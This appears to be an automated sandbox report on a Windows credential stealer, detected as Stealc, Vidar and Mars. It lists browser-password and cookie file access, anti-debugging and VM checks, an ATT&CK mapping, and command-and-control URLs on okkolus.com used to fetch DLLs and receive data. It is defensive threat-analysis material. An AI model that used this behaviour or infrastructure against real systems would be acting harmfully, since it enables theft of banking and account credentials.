Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCD7A7 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FCD7A7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD18B7 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_02FD18B7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCB877 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_02FCB877
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD2457 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_02FD2457
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC1827 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FC1827
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCD427 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_02FCD427
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD1DE7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_02FD1DE7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FCDDC7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_02FCDDC7

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DBFIDGII.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DBFIDGII.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DBFIDGII.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DBFIDGII.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DBFIDGII.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: DBFIDGII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: DBFIDGII.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DBFIDGII.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DBFIDGII.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DBFIDGII.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`w
Source: DBFIDGII.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DBFIDGII.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DBFIDGII.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DBFIDGII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DBFIDGII.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DBFIDGII.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DBFIDGII.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DBFIDGII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: DBFIDGII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DBFIDGII.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94766
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-95784
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94750
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94747
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94761
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94765
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94790
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	API call chain: ExitProcess graph end node	graph_0-94590

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00417B3E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00417B3E

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

0_2_00416230

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00415DB0 mov eax, dword ptr fs:[00000030h]	0_2_00415DB0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C37B13 push dword ptr fs:[00000030h]	0_2_02C37B13
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD6017 mov eax, dword ptr fs:[00000030h]	0_2_02FD6017
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC0D90 mov eax, dword ptr fs:[00000030h]	0_2_02FC0D90
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FC092B mov eax, dword ptr fs:[00000030h]	0_2_02FC092B

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00419DB7 SetUnhandledExceptionFilter,	0_2_00419DB7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00417B3E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417B3E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004173CD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173CD
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_61EAF900
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD7634 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02FD7634
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FDA01E SetUnhandledExceptionFilter,	0_2_02FDA01E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD7DA5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02FD7DA5

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00415CF0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00415CF0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD5F57 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_02FD5F57

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00414560
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_02FD47C7

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,GetSystemTimes,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,

0_2_0040B610

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_004143B0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143B0

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_004144A0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144A0

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FFAk2gixx5.exe PID: 6784, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Source: Yara match

File source: Process Memory Space: FFAk2gixx5.exe PID: 6784, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FFAk2gixx5.exe PID: 6784, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FFAk2gixx5.exe.2ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FFAk2gixx5.exe.2fc0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E1307A sqlite3_transfer_bindings,	0_2_61E1307A
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D5E6 sqlite3_bind_int64,	0_2_61E2D5E6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D595 sqlite3_bind_double,	0_2_61E2D595
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E0B431 sqlite3_clear_bindings,	0_2_61E0B431
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E037F3 sqlite3_value_frombind,	0_2_61E037F3
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D781 sqlite3_bind_zeroblob64,	0_2_61E2D781
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D714 sqlite3_bind_zeroblob,	0_2_61E2D714
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D68C sqlite3_bind_pointer,	0_2_61E2D68C
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D65B sqlite3_bind_null,	0_2_61E2D65B
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D635 sqlite3_bind_int,	0_2_61E2D635
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D9B0 sqlite3_bind_value,	0_2_61E2D9B0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D981 sqlite3_bind_text16,	0_2_61E2D981
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D945 sqlite3_bind_text64,	0_2_61E2D945
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D916 sqlite3_bind_text,	0_2_61E2D916
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D8E7 sqlite3_bind_blob64,	0_2_61E2D8E7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E038CA sqlite3_bind_parameter_count,	0_2_61E038CA
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E158CA sqlite3_bind_parameter_index,	0_2_61E158CA
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E038DC sqlite3_bind_parameter_name,	0_2_61E038DC
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E2D8B8 sqlite3_bind_blob,	0_2_61E2D8B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	133 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FFAk2gixx5.exe	71%	ReversingLabs	Win32.Trojan.Stealc
FFAk2gixx5.exe	68%	Virustotal		Browse
FFAk2gixx5.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	5%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	5%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
okkolus.com	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
https://ac.ecopnacl	0%	URL Reputation	safe
https://ac.ecop	0%	URL Reputation	safe
http://okkolus.com/dfaf16606234b71d/nss3.dllll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/vcruntime140.dllata	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/msvcp140.dlluPh	0%	Avira URL Cloud	safe
http://okkolus.com	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/msvcp140.dll.	0%	Avira URL Cloud	safe
http://okkolus.com	11%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/softokn3.dll	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dll.U	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/mozglue.dllrowser	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dllll	1%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/mozglue.dll	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.php&)	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/mozglue.dll94eaf2a9d1d275a40e443fa5Extension	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/mozglue.dllVUG	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/softokn3.dll	1%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/nss3.dllpatible_edge_version_number	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/softokn3.dller	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dlle	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/freebl3.dll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/mozglue.dll	3%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/vcruntime140.dll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/ra	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/msvcp140.dller	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.phpN	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/freebl3.dll	3%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.phpte3.dll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/vcruntime140.dll	1%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/softokn3.dll.	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/	1%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/softokn3.dllCSF	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dllll_TH	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.phpte3.dll	4%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/freebl3.dll94eaf2a9d1d275a40e443fa5tionComponent	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.phpN	4%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/oTab	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/mozglue.dllser	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/soft	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/softokn3.dller	1%	Virustotal		Browse
http://okkolus.com/cf5cbdf706840b3f.php	100%	Avira URL Cloud	malware
http://okkolus.com/cf5cbdf706840b3f.php6c3c10c894eaf2a9d1d275a40e443fa5cations	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/vcruntime140.dll%	0%	Avira URL Cloud	safe
